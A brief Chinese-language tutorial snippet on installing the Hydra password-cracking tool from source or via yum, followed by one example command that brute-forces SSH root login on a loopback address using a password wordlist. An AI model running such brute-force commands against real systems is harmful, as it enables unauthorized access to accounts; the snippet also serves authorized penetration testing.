1、编译安装:
wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz tar zxf hydra-6.3-src.tar.gz cd hydra-6.3-src ./configure make make install
2、yum安装
yum -y install hydra
#pass.txt为爆破字典 hydra 127.0.0.2 ssh -l root -P pass.txt